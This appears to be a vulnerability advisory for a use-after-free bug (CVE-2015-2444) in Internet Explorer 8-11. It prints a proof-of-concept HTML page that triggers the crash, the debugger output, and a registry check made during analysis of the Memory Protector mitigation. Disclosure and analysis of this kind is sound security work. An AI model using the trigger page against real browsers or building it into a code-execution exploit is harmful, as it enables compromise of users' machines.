Vendor:                 Microsoft, http://www.microsoft.com
Affected Products:      Internet Explorer
Affected Version:       IE 8-11
Vulnerability:          CTreeNode::GetCascadedLang Use-After-Free Vulnerability
CVE ID:                 CVE-2015-2444
________________________________________________________________________________

I.   Impact

If an attacker succeeds in bypassing the Memory Protector and Isolated Heap
protection mechanisms this vulnerability allows the execution of arbitrary
code on vulnerable installations of Microsoft Internet Explorer. User
interaction is required to exploit this vulnerability in that the target must
visit a malicious page or open a malicious file.

________________________________________________________________________________

II.  Vulnerability Details

Microsoft Internet Explorer 11 is prone to a use-after-free vulnerability in
the MSHTML!CTreeNode::GetCascadedLang function. The following analysis was
performed on Internet Explorer 11 on Windows 8.1 (x64).

The following HTML page demonstrates the problem:

<!DOCTYPE HTML>
<html>
<meta http-equiv="X-UA-Compatible" content="IE=10" />
<script>
	function Trigger() {
		for(i=0; i < document.getElementsByTagName("meter").length; i++) {
			document.getElementsByTagName("meter")[i].innerText = "a";
		}
	}
	function reload() {
		location.reload();
	}
	setTimeout("reload()", 1000);
</script>
<button><label><style>label{}</style><form>
<meter>label<optgroup><meter>fieldset<script>Trigger();</script></meter>
<select></select><button></button><form><form>
<input><script>Trigger();</script>
<form><style>form{-ms-behavior: url("c");}</style></form>
</html>

With page heap enabled, visiting that page results in the following crash:

(7c0.408): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.

This looks like a use-after-free on memory which was previously freed by the
ProtectedFree implementation (and zeroed-out) and thus the memory is not yet
marked as free by the heap manager. To verify this assumption, we first disable
the Memory Protect feature to see if it's really accessing freed memory:

C:\>reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MEMPROTECT_MODE"

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\Feature
Control\FEATURE_MEMPROTECT_MODE
    iexplore.exe    REG_DWORD    0x0

If we trigger the crash again, we notice that this time freed memory is
accessed and the memory was indeed previously allocated by the ProtectedFree
function.

If we check the accessed memory location just before the JavaScript method
location.reload() is called, we can see where the memory for the CLabelElement
object was allocated.
